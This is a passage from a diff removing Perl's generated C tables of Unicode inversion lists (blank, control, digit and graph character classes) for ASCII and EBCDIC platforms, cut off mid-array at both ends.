- 0x110D0, - 0x110E9, - 0x11100, - 0x11133, - 0x11150, - 0x11173, - 0x11176, - 0x11177, - 0x11180, - 0x111C0, - 0x111C1, - 0x111C5, - 0x111DA, - 0x111DB, - 0x111DC, - 0x111DD, - 0x11200, - 0x11212, - 0x11213, - 0x11235, - 0x11237, - 0x11238, - 0x1123E, - 0x1123F, - 0x11280, - 0x11287, - 0x11288, - 0x11289, - 0x1128A, - 0x1128E, - 0x1128F, - 0x1129E, - 0x1129F, - 0x112A9, - 0x112B0, - 0x112E9, - 0x11300, - 0x11304, - 0x11305, - 0x1130D, - 0x1130F, - 0x11311, - 0x11313, - 0x11329, - 0x1132A, - 0x11331, - 0x11332, - 0x11334, - 0x11335, - 0x1133A, - 0x1133D, - 0x11345, - 0x11347, - 0x11349, - 0x1134B, - 0x1134D, - 0x11350, - 0x11351, - 0x11357, - 0x11358, - 0x1135D, - 0x11364, - 0x11400, - 0x11442, - 0x11443, - 0x11446, - 0x11447, - 0x1144B, - 0x11480, - 0x114C2, - 0x114C4, - 0x114C6, - 0x114C7, - 0x114C8, - 0x11580, - 0x115B6, - 0x115B8, - 0x115BF, - 0x115D8, - 0x115DE, - 0x11600, - 0x1163F, - 0x11640, - 0x11641, - 0x11644, - 0x11645, - 0x11680, - 0x116B6, - 0x11700, - 0x1171A, - 0x1171D, - 0x1172B, - 0x118A0, - 0x118E0, - 0x118FF, - 0x11900, - 0x11A00, - 0x11A33, - 0x11A35, - 0x11A3F, - 0x11A50, - 0x11A84, - 0x11A86, - 0x11A98, - 0x11AC0, - 0x11AF9, - 0x11C00, - 0x11C09, - 0x11C0A, - 0x11C37, - 0x11C38, - 0x11C3F, - 0x11C40, - 0x11C41, - 0x11C72, - 0x11C90, - 0x11C92, - 0x11CA8, - 0x11CA9, - 0x11CB7, - 0x11D00, - 0x11D07, - 0x11D08, - 0x11D0A, - 0x11D0B, - 0x11D37, - 0x11D3A, - 0x11D3B, - 0x11D3C, - 0x11D3E, - 0x11D3F, - 0x11D42, - 0x11D43, - 0x11D44, - 0x11D46, - 0x11D48, - 0x12000, - 0x1239A, - 0x12400, - 0x1246F, - 0x12480, - 0x12544, - 0x13000, - 0x1342F, - 0x14400, - 0x14647, - 0x16800, - 0x16A39, - 0x16A40, - 0x16A5F, - 0x16AD0, - 0x16AEE, - 0x16B00, - 0x16B37, - 0x16B40, - 0x16B44, - 0x16B63, - 0x16B78, - 0x16B7D, - 0x16B90, - 0x16F00, - 0x16F45, - 0x16F50, - 0x16F7F, - 0x16F93, - 0x16FA0, - 0x16FE0, - 0x16FE2, - 0x17000, - 0x187ED, - 0x18800, - 0x18AF3, - 0x1B000, - 0x1B11F, - 0x1B170, - 0x1B2FC, - 0x1BC00, - 0x1BC6B, - 0x1BC70, - 0x1BC7D, - 0x1BC80, - 0x1BC89, - 0x1BC90, - 0x1BC9A, - 0x1BC9E, - 0x1BC9F, - 0x1D400, - 0x1D455, - 0x1D456, - 0x1D49D, - 0x1D49E, - 0x1D4A0, - 0x1D4A2, - 0x1D4A3, - 0x1D4A5, - 0x1D4A7, - 0x1D4A9, - 0x1D4AD, - 0x1D4AE, - 0x1D4BA, - 0x1D4BB, - 0x1D4BC, - 0x1D4BD, - 0x1D4C4, - 0x1D4C5, - 0x1D506, - 0x1D507, - 0x1D50B, - 0x1D50D, - 0x1D515, - 0x1D516, - 0x1D51D, - 0x1D51E, - 0x1D53A, - 0x1D53B, - 0x1D53F, - 0x1D540, - 0x1D545, - 0x1D546, - 0x1D547, - 0x1D54A, - 0x1D551, - 0x1D552, - 0x1D6A6, - 0x1D6A8, - 0x1D6C1, - 0x1D6C2, - 0x1D6DB, - 0x1D6DC, - 0x1D6FB, - 0x1D6FC, - 0x1D715, - 0x1D716, - 0x1D735, - 0x1D736, - 0x1D74F, - 0x1D750, - 0x1D76F, - 0x1D770, - 0x1D789, - 0x1D78A, - 0x1D7A9, - 0x1D7AA, - 0x1D7C3, - 0x1D7C4, - 0x1D7CC, - 0x1E000, - 0x1E007, - 0x1E008, - 0x1E019, - 0x1E01B, - 0x1E022, - 0x1E023, - 0x1E025, - 0x1E026, - 0x1E02B, - 0x1E800, - 0x1E8C5, - 0x1E900, - 0x1E944, - 0x1E947, - 0x1E948, - 0x1EE00, - 0x1EE04, - 0x1EE05, - 0x1EE20, - 0x1EE21, - 0x1EE23, - 0x1EE24, - 0x1EE25, - 0x1EE27, - 0x1EE28, - 0x1EE29, - 0x1EE33, - 0x1EE34, - 0x1EE38, - 0x1EE39, - 0x1EE3A, - 0x1EE3B, - 0x1EE3C, - 0x1EE42, - 0x1EE43, - 0x1EE47, - 0x1EE48, - 0x1EE49, - 0x1EE4A, - 0x1EE4B, - 0x1EE4C, - 0x1EE4D, - 0x1EE50, - 0x1EE51, - 0x1EE53, - 0x1EE54, - 0x1EE55, - 0x1EE57, - 0x1EE58, - 0x1EE59, - 0x1EE5A, - 0x1EE5B, - 0x1EE5C, - 0x1EE5D, - 0x1EE5E, - 0x1EE5F, - 0x1EE60, - 0x1EE61, - 0x1EE63, - 0x1EE64, - 0x1EE65, - 0x1EE67, - 0x1EE6B, - 0x1EE6C, - 0x1EE73, - 0x1EE74, - 0x1EE78, - 0x1EE79, - 0x1EE7D, - 0x1EE7E, - 0x1EE7F, - 0x1EE80, - 0x1EE8A, - 0x1EE8B, - 0x1EE9C, - 0x1EEA1, - 0x1EEA4, - 0x1EEA5, - 0x1EEAA, - 0x1EEAB, - 0x1EEBC, - 0x1F130, - 0x1F14A, - 0x1F150, - 0x1F16A, - 0x1F170, - 0x1F18A, - 0x20000, - 0x2A6D7, - 0x2A700, - 0x2B735, - 0x2B740, - 0x2B81E, - 0x2B820, - 0x2CEA2, - 0x2CEB0, - 0x2EBE1, - 0x2F800, - 0x2FA1E -}; - -# endif /* EBCDIC 037 */ - -# if 'A' == 65 /* ASCII/Latin1 */ - -static const UV PL_XPOSIXBLANK_invlist[] = { /* for ASCII/Latin1 */ - 17, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x9, - 0xA, - 0x20, - 0x21, - 0xA0, - 0xA1, - 0x1680, - 0x1681, - 0x2000, - 0x200B, - 0x202F, - 0x2030, - 0x205F, - 0x2060, - 0x3000, - 0x3001 -}; - -# endif /* ASCII/Latin1 */ - -# if 'A' == 193 /* EBCDIC 1047 */ \ - && '\\' == 224 && '[' == 173 && ']' == 189 && '{' == 192 && '}' == 208 \ - && '^' == 95 && '~' == 161 && '!' == 90 && '#' == 123 && '|' == 79 \ - && '$' == 91 && '@' == 124 && '`' == 121 - -static const UV PL_XPOSIXBLANK_invlist[] = { /* for EBCDIC 1047 */ - 15, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x5, - 0x6, - 0x40, - 0x42, - 0x1680, - 0x1681, - 0x2000, - 0x200B, - 0x202F, - 0x2030, - 0x205F, - 0x2060, - 0x3000, - 0x3001 -}; - -# endif /* EBCDIC 1047 */ - -# if 'A' == 193 /* EBCDIC 037 */ \ - && '\\' == 224 && '[' == 186 && ']' == 187 && '{' == 192 && '}' == 208 \ - && '^' == 176 && '~' == 161 && '!' == 90 && '#' == 123 && '|' == 79 \ - && '$' == 91 && '@' == 124 && '`' == 121 - -static const UV PL_XPOSIXBLANK_invlist[] = { /* for EBCDIC 037 */ - 15, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x5, - 0x6, - 0x40, - 0x42, - 0x1680, - 0x1681, - 0x2000, - 0x200B, - 0x202F, - 0x2030, - 0x205F, - 0x2060, - 0x3000, - 0x3001 -}; - -# endif /* EBCDIC 037 */ - -# if 'A' == 65 /* ASCII/Latin1 */ - -static const UV PL_XPOSIXCNTRL_invlist[] = { /* for ASCII/Latin1 */ - 4, /* Number of elements */ - 148565664, /* Version and data structure type */ - 0, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x20, - 0x7F, - 0xA0 -}; - -# endif /* ASCII/Latin1 */ - -# if 'A' == 193 /* EBCDIC 1047 */ \ - && '\\' == 224 && '[' == 173 && ']' == 189 && '{' == 192 && '}' == 208 \ - && '^' == 95 && '~' == 161 && '!' == 90 && '#' == 123 && '|' == 79 \ - && '$' == 91 && '@' == 124 && '`' == 121 - -static const UV PL_XPOSIXCNTRL_invlist[] = { /* for EBCDIC 1047 */ - 4, /* Number of elements */ - 148565664, /* Version and data structure type */ - 0, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x40, - 0xFF, - 0x100 -}; - -# endif /* EBCDIC 1047 */ - -# if 'A' == 193 /* EBCDIC 037 */ \ - && '\\' == 224 && '[' == 186 && ']' == 187 && '{' == 192 && '}' == 208 \ - && '^' == 176 && '~' == 161 && '!' == 90 && '#' == 123 && '|' == 79 \ - && '$' == 91 && '@' == 124 && '`' == 121 - -static const UV PL_XPOSIXCNTRL_invlist[] = { /* for EBCDIC 037 */ - 4, /* Number of elements */ - 148565664, /* Version and data structure type */ - 0, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x40, - 0xFF, - 0x100 -}; - -# endif /* EBCDIC 037 */ - -# if 'A' == 65 /* ASCII/Latin1 */ - -static const UV PL_XPOSIXDIGIT_invlist[] = { /* for ASCII/Latin1 */ - 111, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x30, - 0x3A, - 0x660, - 0x66A, - 0x6F0, - 0x6FA, - 0x7C0, - 0x7CA, - 0x966, - 0x970, - 0x9E6, - 0x9F0, - 0xA66, - 0xA70, - 0xAE6, - 0xAF0, - 0xB66, - 0xB70, - 0xBE6, - 0xBF0, - 0xC66, - 0xC70, - 0xCE6, - 0xCF0, - 0xD66, - 0xD70, - 0xDE6, - 0xDF0, - 0xE50, - 0xE5A, - 0xED0, - 0xEDA, - 0xF20, - 0xF2A, - 0x1040, - 0x104A, - 0x1090, - 0x109A, - 0x17E0, - 0x17EA, - 0x1810, - 0x181A, - 0x1946, - 0x1950, - 0x19D0, - 0x19DA, - 0x1A80, - 0x1A8A, - 0x1A90, - 0x1A9A, - 0x1B50, - 0x1B5A, - 0x1BB0, - 0x1BBA, - 0x1C40, - 0x1C4A, - 0x1C50, - 0x1C5A, - 0xA620, - 0xA62A, - 0xA8D0, - 0xA8DA, - 0xA900, - 0xA90A, - 0xA9D0, - 0xA9DA, - 0xA9F0, - 0xA9FA, - 0xAA50, - 0xAA5A, - 0xABF0, - 0xABFA, - 0xFF10, - 0xFF1A, - 0x104A0, - 0x104AA, - 0x11066, - 0x11070, - 0x110F0, - 0x110FA, - 0x11136, - 0x11140, - 0x111D0, - 0x111DA, - 0x112F0, - 0x112FA, - 0x11450, - 0x1145A, - 0x114D0, - 0x114DA, - 0x11650, - 0x1165A, - 0x116C0, - 0x116CA, - 0x11730, - 0x1173A, - 0x118E0, - 0x118EA, - 0x11C50, - 0x11C5A, - 0x11D50, - 0x11D5A, - 0x16A60, - 0x16A6A, - 0x16B50, - 0x16B5A, - 0x1D7CE, - 0x1D800, - 0x1E950, - 0x1E95A -}; - -# endif /* ASCII/Latin1 */ - -# if 'A' == 193 /* EBCDIC 1047 */ \ - && '\\' == 224 && '[' == 173 && ']' == 189 && '{' == 192 && '}' == 208 \ - && '^' == 95 && '~' == 161 && '!' == 90 && '#' == 123 && '|' == 79 \ - && '$' == 91 && '@' == 124 && '`' == 121 - -static const UV PL_XPOSIXDIGIT_invlist[] = { /* for EBCDIC 1047 */ - 111, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0xF0, - 0xFA, - 0x660, - 0x66A, - 0x6F0, - 0x6FA, - 0x7C0, - 0x7CA, - 0x966, - 0x970, - 0x9E6, - 0x9F0, - 0xA66, - 0xA70, - 0xAE6, - 0xAF0, - 0xB66, - 0xB70, - 0xBE6, - 0xBF0, - 0xC66, - 0xC70, - 0xCE6, - 0xCF0, - 0xD66, - 0xD70, - 0xDE6, - 0xDF0, - 0xE50, - 0xE5A, - 0xED0, - 0xEDA, - 0xF20, - 0xF2A, - 0x1040, - 0x104A, - 0x1090, - 0x109A, - 0x17E0, - 0x17EA, - 0x1810, - 0x181A, - 0x1946, - 0x1950, - 0x19D0, - 0x19DA, - 0x1A80, - 0x1A8A, - 0x1A90, - 0x1A9A, - 0x1B50, - 0x1B5A, - 0x1BB0, - 0x1BBA, - 0x1C40, - 0x1C4A, - 0x1C50, - 0x1C5A, - 0xA620, - 0xA62A, - 0xA8D0, - 0xA8DA, - 0xA900, - 0xA90A, - 0xA9D0, - 0xA9DA, - 0xA9F0, - 0xA9FA, - 0xAA50, - 0xAA5A, - 0xABF0, - 0xABFA, - 0xFF10, - 0xFF1A, - 0x104A0, - 0x104AA, - 0x11066, - 0x11070, - 0x110F0, - 0x110FA, - 0x11136, - 0x11140, - 0x111D0, - 0x111DA, - 0x112F0, - 0x112FA, - 0x11450, - 0x1145A, - 0x114D0, - 0x114DA, - 0x11650, - 0x1165A, - 0x116C0, - 0x116CA, - 0x11730, - 0x1173A, - 0x118E0, - 0x118EA, - 0x11C50, - 0x11C5A, - 0x11D50, - 0x11D5A, - 0x16A60, - 0x16A6A, - 0x16B50, - 0x16B5A, - 0x1D7CE, - 0x1D800, - 0x1E950, - 0x1E95A -}; - -# endif /* EBCDIC 1047 */ - -# if 'A' == 193 /* EBCDIC 037 */ \ - && '\\' == 224 && '[' == 186 && ']' == 187 && '{' == 192 && '}' == 208 \ - && '^' == 176 && '~' == 161 && '!' == 90 && '#' == 123 && '|' == 79 \ - && '$' == 91 && '@' == 124 && '`' == 121 - -static const UV PL_XPOSIXDIGIT_invlist[] = { /* for EBCDIC 037 */ - 111, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0xF0, - 0xFA, - 0x660, - 0x66A, - 0x6F0, - 0x6FA, - 0x7C0, - 0x7CA, - 0x966, - 0x970, - 0x9E6, - 0x9F0, - 0xA66, - 0xA70, - 0xAE6, - 0xAF0, - 0xB66, - 0xB70, - 0xBE6, - 0xBF0, - 0xC66, - 0xC70, - 0xCE6, - 0xCF0, - 0xD66, - 0xD70, - 0xDE6, - 0xDF0, - 0xE50, - 0xE5A, - 0xED0, - 0xEDA, - 0xF20, - 0xF2A, - 0x1040, - 0x104A, - 0x1090, - 0x109A, - 0x17E0, - 0x17EA, - 0x1810, - 0x181A, - 0x1946, - 0x1950, - 0x19D0, - 0x19DA, - 0x1A80, - 0x1A8A, - 0x1A90, - 0x1A9A, - 0x1B50, - 0x1B5A, - 0x1BB0, - 0x1BBA, - 0x1C40, - 0x1C4A, - 0x1C50, - 0x1C5A, - 0xA620, - 0xA62A, - 0xA8D0, - 0xA8DA, - 0xA900, - 0xA90A, - 0xA9D0, - 0xA9DA, - 0xA9F0, - 0xA9FA, - 0xAA50, - 0xAA5A, - 0xABF0, - 0xABFA, - 0xFF10, - 0xFF1A, - 0x104A0, - 0x104AA, - 0x11066, - 0x11070, - 0x110F0, - 0x110FA, - 0x11136, - 0x11140, - 0x111D0, - 0x111DA, - 0x112F0, - 0x112FA, - 0x11450, - 0x1145A, - 0x114D0, - 0x114DA, - 0x11650, - 0x1165A, - 0x116C0, - 0x116CA, - 0x11730, - 0x1173A, - 0x118E0, - 0x118EA, - 0x11C50, - 0x11C5A, - 0x11D50, - 0x11D5A, - 0x16A60, - 0x16A6A, - 0x16B50, - 0x16B5A, - 0x1D7CE, - 0x1D800, - 0x1E950, - 0x1E95A -}; - -# endif /* EBCDIC 037 */ - -# if 'A' == 65 /* ASCII/Latin1 */ - -static const UV PL_XPOSIXGRAPH_invlist[] = { /* for ASCII/Latin1 */ - 1309, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x21, - 0x7F, - 0xA1, - 0x378, - 0x37A, - 0x380, - 0x384, - 0x38B, - 0x38C, - 0x38D, - 0x38E, - 0x3A2, - 0x3A3, - 0x530, - 0x531, - 0x557, - 0x559, - 0x560, - 0x561, - 0x588, - 0x589, - 0x58B, - 0x58D, - 0x590, - 0x591, - 0x5C8, - 0x5D0, - 0x5EB, - 0x5F0, - 0x5F5, - 0x600, - 0x61D, - 0x61E, - 0x70E, - 0x70F, - 0x74B, - 0x74D, - 0x7B2, - 0x7C0, - 0x7FB, - 0x800, - 0x82E, - 0x830, - 0x83F, - 0x840, - 0x85C, - 0x85E, - 0x85F, - 0x860, - 0x86B, - 0x8A0, - 0x8B5, - 0x8B6, - 0x8BE, - 0x8D4, - 0x984, - 0x985, - 0x98D, - 0x98F, - 0x991, - 0x993, - 0x9A9, - 0x9AA, - 0x9B1, - 0x9B2, - 0x9B3, - 0x9B6, - 0x9BA, - 0x9BC, - 0x9C5, - 0x9C7, - 0x9C9, - 0x9CB, - 0x9CF, - 0x9D7, - 0x9D8, - 0x9DC, - 0x9DE, - 0x9DF, - 0x9E4, - 0x9E6, - 0x9FE, - 0xA01, - 0xA04, - 0xA05, - 0xA0B, - 0xA0F, - 0xA11, - 0xA13, - 0xA29, - 0xA2A, - 0xA31, - 0xA32, - 0xA34, - 0xA35, - 0xA37, - 0xA38, - 0xA3A, - 0xA3C, - 0xA3D, - 0xA3E, - 0xA43, - 0xA47, - 0xA49, - 0xA4B, - 0xA4E, - 0xA51, - 0xA52, - 0xA59, - 0xA5D, - 0xA5E, - 0xA5F, - 0xA66, - 0xA76, - 0xA81, - 0xA84, - 0xA85, - 0xA8E, - 0xA8F, - 0xA92, - 0xA93, - 0xAA9, - 0xAAA, - 0xAB1, - 0xAB2, - 0xAB4, - 0xAB5, - 0xABA, - 0xABC, - 0xAC6, - 0xAC7, - 0xACA, - 0xACB, - 0xACE, - 0xAD0, - 0xAD1, - 0xAE0, - 0xAE4, - 0xAE6, - 0xAF2, - 0xAF9, - 0xB00, - 0xB01, - 0xB04, - 0xB05, - 0xB0D, - 0xB0F, - 0xB11, - 0xB13, - 0xB29, - 0xB2A, - 0xB31, - 0xB32, - 0xB34, - 0xB35, - 0xB3A, - 0xB3C, - 0xB45, - 0xB47, - 0xB49, - 0xB4B, - 0xB4E, - 0xB56, - 0xB58, - 0xB5C, - 0xB5E, - 0xB5F, - 0xB64, - 0xB66, - 0xB78, - 0xB82, - 0xB84, - 0xB85, - 0xB8B, - 0xB8E, - 0xB91, - 0xB92, - 0xB96, - 0xB99, - 0xB9B, - 0xB9C, - 0xB9D, - 0xB9E, - 0xBA0, - 0xBA3, - 0xBA5, - 0xBA8, - 0xBAB, - 0xBAE, - 0xBBA, - 0xBBE, - 0xBC3, - 0xBC6, - 0xBC9, - 0xBCA, - 0xBCE, - 0xBD0, - 0xBD1, - 0xBD7, - 0xBD8, - 0xBE6, - 0xBFB, - 0xC00, - 0xC04, - 0xC05, - 0xC0D, - 0xC0E, - 0xC11, - 0xC12, - 0xC29, - 0xC2A, - 0xC3A, - 0xC3D, - 0xC45, - 0xC46, - 0xC49, - 0xC4A, - 0xC4E, - 0xC55, - 0xC57, - 0xC58, - 0xC5B, - 0xC60, - 0xC64, - 0xC66, - 0xC70, - 0xC78, - 0xC84, - 0xC85, - 0xC8D, - 0xC8E, - 0xC91, - 0xC92, - 0xCA9, - 0xCAA, - 0xCB4, - 0xCB5, - 0xCBA, - 0xCBC, - 0xCC5, - 0xCC6, - 0xCC9, - 0xCCA, - 0xCCE, - 0xCD5, - 0xCD7, - 0xCDE, - 0xCDF, - 0xCE0, - 0xCE4, - 0xCE6, - 0xCF0, - 0xCF1, - 0xCF3, - 0xD00, - 0xD04, - 0xD05, - 0xD0D, - 0xD0E, - 0xD11, - 0xD12, - 0xD45, - 0xD46, - 0xD49, - 0xD4A, - 0xD50, - 0xD54, - 0xD64, - 0xD66, - 0xD80, - 0xD82, - 0xD84, - 0xD85, - 0xD97, - 0xD9A, - 0xDB2, - 0xDB3, - 0xDBC, - 0xDBD, - 0xDBE, - 0xDC0, - 0xDC7, - 0xDCA, - 0xDCB, - 0xDCF, - 0xDD5, - 0xDD6, - 0xDD7, - 0xDD8, - 0xDE0, - 0xDE6, - 0xDF0, - 0xDF2, - 0xDF5, - 0xE01, - 0xE3B, - 0xE3F, - 0xE5C, - 0xE81, - 0xE83, - 0xE84, - 0xE85, - 0xE87, - 0xE89, - 0xE8A, - 0xE8B, - 0xE8D, - 0xE8E, - 0xE94, - 0xE98, - 0xE99, - 0xEA0, - 0xEA1, - 0xEA4, - 0xEA5, - 0xEA6, - 0xEA7, - 0xEA8, - 0xEAA, - 0xEAC, - 0xEAD, - 0xEBA, - 0xEBB, - 0xEBE, - 0xEC0, - 0xEC5, - 0xEC6, - 0xEC7, - 0xEC8, - 0xECE, - 0xED0, - 0xEDA, - 0xEDC, - 0xEE0, - 0xF00, - 0xF48, - 0xF49, - 0xF6D, - 0xF71, - 0xF98, - 0xF99, - 0xFBD, - 0xFBE, - 0xFCD, - 0xFCE, - 0xFDB, - 0x1000, - 0x10C6, - 0x10C7, - 0x10C8, - 0x10CD, - 0x10CE, - 0x10D0, - 0x1249, - 0x124A, - 0x124E, - 0x1250, - 0x1257, - 0x1258, - 0x1259, - 0x125A, - 0x125E, - 0x1260, - 0x1289, - 0x128A, - 0x128E, - 0x1290, - 0x12B1, - 0x12B2, - 0x12B6, - 0x12B8, - 0x12BF, - 0x12C0, - 0x12C1, - 0x12C2, - 0x12C6, - 0x12C8, - 0x12D7, - 0x12D8, - 0x1311, - 0x1312, - 0x1316, - 0x1318, - 0x135B, - 0x135D, - 0x137D, - 0x1380, - 0x139A, - 0x13A0, - 0x13F6, - 0x13F8, - 0x13FE, - 0x1400, - 0x1680, - 0x1681, - 0x169D, - 0x16A0, - 0x16F9, - 0x1700, - 0x170D, - 0x170E, - 0x1715, - 0x1720, - 0x1737, - 0x1740, - 0x1754, - 0x1760, - 0x176D, - 0x176E, - 0x1771, - 0x1772, - 0x1774, - 0x1780, - 0x17DE, - 0x17E0, - 0x17EA, - 0x17F0, - 0x17FA, - 0x1800, - 0x180F, - 0x1810, - 0x181A, - 0x1820, - 0x1878, - 0x1880, - 0x18AB, - 0x18B0, - 0x18F6, - 0x1900, - 0x191F, - 0x1920, - 0x192C, - 0x1930, - 0x193C, - 0x1940, - 0x1941, - 0x1944, - 0x196E, - 0x1970, - 0x1975, - 0x1980, - 0x19AC, - 0x19B0, - 0x19CA, - 0x19D0, - 0x19DB, - 0x19DE, - 0x1A1C, - 0x1A1E, - 0x1A5F, - 0x1A60, - 0x1A7D, - 0x1A7F, - 0x1A8A, - 0x1A90, - 0x1A9A, - 0x1AA0, - 0x1AAE, - 0x1AB0, - 0x1ABF, - 0x1B00, - 0x1B4C, - 0x1B50, - 0x1B7D, - 0x1B80, - 0x1BF4, - 0x1BFC, - 0x1C38, - 0x1C3B, - 0x1C4A, - 0x1C4D, - 0x1C89, - 0x1CC0, - 0x1CC8, - 0x1CD0, - 0x1CFA, - 0x1D00, - 0x1DFA, - 0x1DFB, - 0x1F16, - 0x1F18, - 0x1F1E, - 0x1F20, - 0x1F46, - 0x1F48, - 0x1F4E, - 0x1F50, - 0x1F58, - 0x1F59, - 0x1F5A, - 0x1F5B, - 0x1F5C, - 0x1F5D, - 0x1F5E, - 0x1F5F, - 0x1F7E, - 0x1F80, - 0x1FB5, - 0x1FB6, - 0x1FC5, - 0x1FC6, - 0x1FD4, - 0x1FD6, - 0x1FDC, - 0x1FDD, - 0x1FF0, - 0x1FF2, - 0x1FF5, - 0x1FF6, - 0x1FFF, - 0x200B, - 0x2028, - 0x202A, - 0x202F, - 0x2030, - 0x205F, - 0x2060, - 0x2065, - 0x2066, - 0x2072, - 0x2074, - 0x208F, - 0x2090, - 0x209D, - 0x20A0, - 0x20C0, - 0x20D0, - 0x20F1, - 0x2100, - 0x218C, - 0x2190, - 0x2427, - 0x2440, - 0x244B, - 0x2460, - 0x2B74, - 0x2B76, - 0x2B96, - 0x2B98, - 0x2BBA, - 0x2BBD, - 0x2BC9, - 0x2BCA, - 0x2BD3, - 0x2BEC, - 0x2BF0, - 0x2C00, - 0x2C2F, - 0x2C30, - 0x2C5F, - 0x2C60, - 0x2CF4, - 0x2CF9, - 0x2D26, - 0x2D27, - 0x2D28, - 0x2D2D, - 0x2D2E, - 0x2D30, - 0x2D68, - 0x2D6F, - 0x2D71, - 0x2D7F, - 0x2D97, - 0x2DA0, - 0x2DA7, - 0x2DA8, - 0x2DAF, - 0x2DB0, - 0x2DB7, - 0x2DB8, - 0x2DBF, - 0x2DC0, - 0x2DC7, - 0x2DC8, - 0x2DCF, - 0x2DD0, - 0x2DD7, - 0x2DD8, - 0x2DDF, - 0x2DE0, - 0x2E4A, - 0x2E80, - 0x2E9A, - 0x2E9B, - 0x2EF4, - 0x2F00, - 0x2FD6, - 0x2FF0, - 0x2FFC, - 0x3001, - 0x3040, - 0x3041, - 0x3097, - 0x3099, - 0x3100, - 0x3105, - 0x312F, - 0x3131, - 0x318F, - 0x3190, - 0x31BB, - 0x31C0, - 0x31E4, - 0x31F0, - 0x321F, - 0x3220, - 0x32FF, - 0x3300, - 0x4DB6, - 0x4DC0, - 0x9FEB, - 0xA000, - 0xA48D, - 0xA490, - 0xA4C7, - 0xA4D0, - 0xA62C, - 0xA640, - 0xA6F8, - 0xA700, - 0xA7AF, - 0xA7B0, - 0xA7B8, - 0xA7F7, - 0xA82C, - 0xA830, - 0xA83A, - 0xA840, - 0xA878, - 0xA880, - 0xA8C6, - 0xA8CE, - 0xA8DA, - 0xA8E0, - 0xA8FE, - 0xA900, - 0xA954, - 0xA95F, - 0xA97D, - 0xA980, - 0xA9CE, - 0xA9CF, - 0xA9DA, - 0xA9DE, - 0xA9FF, - 0xAA00, - 0xAA37, - 0xAA40, - 0xAA4E, - 0xAA50, - 0xAA5A, - 0xAA5C, - 0xAAC3, - 0xAADB, - 0xAAF7, - 0xAB01, - 0xAB07, - 0xAB09, - 0xAB0F, - 0xAB11, - 0xAB17, - 0xAB20, - 0xAB27, - 0xAB28, - 0xAB2F, - 0xAB30, - 0xAB66, - 0xAB70, - 0xABEE, - 0xABF0, - 0xABFA, - 0xAC00, - 0xD7A4, - 0xD7B0, - 0xD7C7, - 0xD7CB, - 0xD7FC, - 0xE000, - 0xFA6E, - 0xFA70, - 0xFADA, - 0xFB00, - 0xFB07, - 0xFB13, - 0xFB18, - 0xFB1D, - 0xFB37, - 0xFB38, - 0xFB3D, - 0xFB3E, - 0xFB3F, - 0xFB40, - 0xFB42, - 0xFB43, - 0xFB45, - 0xFB46, - 0xFBC2, - 0xFBD3, - 0xFD40, - 0xFD50, - 0xFD90, - 0xFD92, - 0xFDC8, - 0xFDF0, - 0xFDFE, - 0xFE00, - 0xFE1A, - 0xFE20, - 0xFE53, - 0xFE54, - 0xFE67, - 0xFE68, - 0xFE6C, - 0xFE70, - 0xFE75, - 0xFE76, - 0xFEFD, - 0xFEFF, - 0xFF00, - 0xFF01, - 0xFFBF, - 0xFFC2, - 0xFFC8, - 0xFFCA, - 0xFFD0, - 0xFFD2, - 0xFFD8, - 0xFFDA, - 0xFFDD, - 0xFFE0, - 0xFFE7, - 0xFFE8, - 0xFFEF, - 0xFFF9, - 0xFFFE, - 0x10000, - 0x1000C, - 0x1000D, - 0x10027, - 0x10028, - 0x1003B, - 0x1003C, - 0x1003E, - 0x1003F, - 0x1004E, - 0x10050, - 0x1005E, - 0x10080, - 0x100FB, - 0x10100, - 0x10103, - 0x10107, - 0x10134, - 0x10137, - 0x1018F, - 0x10190, - 0x1019C, - 0x101A0, - 0x101A1, - 0x101D0, - 0x101FE, - 0x10280, - 0x1029D, - 0x102A0, - 0x102D1, - 0x102E0, - 0x102FC, - 0x10300, - 0x10324, - 0x1032D, - 0x1034B, - 0x10350, - 0x1037B, - 0x10380, - 0x1039E, - 0x1039F, - 0x103C4, - 0x103C8, - 0x103D6, - 0x10400, - 0x1049E, - 0x104A0, - 0x104AA, - 0x104B0, - 0x104D4, - 0x104D8, - 0x104FC, - 0x10500, - 0x10528, - 0x10530, - 0x10564, - 0x1056F, - 0x10570, - 0x10600, - 0x10737, - 0x10740, - 0x10756, - 0x10760, - 0x10768, - 0x10800, - 0x10806, - 0x10808, - 0x10809, - 0x1080A, - 0x10836, - 0x10837, - 0x10839, - 0x1083C, - 0x1083D, - 0x1083F, - 0x10856, - 0x10857, - 0x1089F, - 0x108A7, - 0x108B0, - 0x108E0, - 0x108F3, - 0x108F4, - 0x108F6, - 0x108FB, - 0x1091C, - 0x1091F, - 0x1093A, - 0x1093F, - 0x10940, - 0x10980, - 0x109B8, - 0x109BC, - 0x109D0, - 0x109D2, - 0x10A04, - 0x10A05, - 0x10A07, - 0x10A0C, - 0x10A14, - 0x10A15, - 0x10A18, - 0x10A19, - 0x10A34, - 0x10A38, - 0x10A3B, - 0x10A3F, - 0x10A48, - 0x10A50, - 0x10A59, - 0x10A60, - 0x10AA0, - 0x10AC0, - 0x10AE7, - 0x10AEB, - 0x10AF7, - 0x10B00, - 0x10B36, - 0x10B39, - 0x10B56, - 0x10B58, - 0x10B73, - 0x10B78, - 0x10B92, - 0x10B99, - 0x10B9D, - 0x10BA9, - 0x10BB0, - 0x10C00, - 0x10C49, - 0x10C80, - 0x10CB3, - 0x10CC0, - 0x10CF3, - 0x10CFA, - 0x10D00, - 0x10E60, - 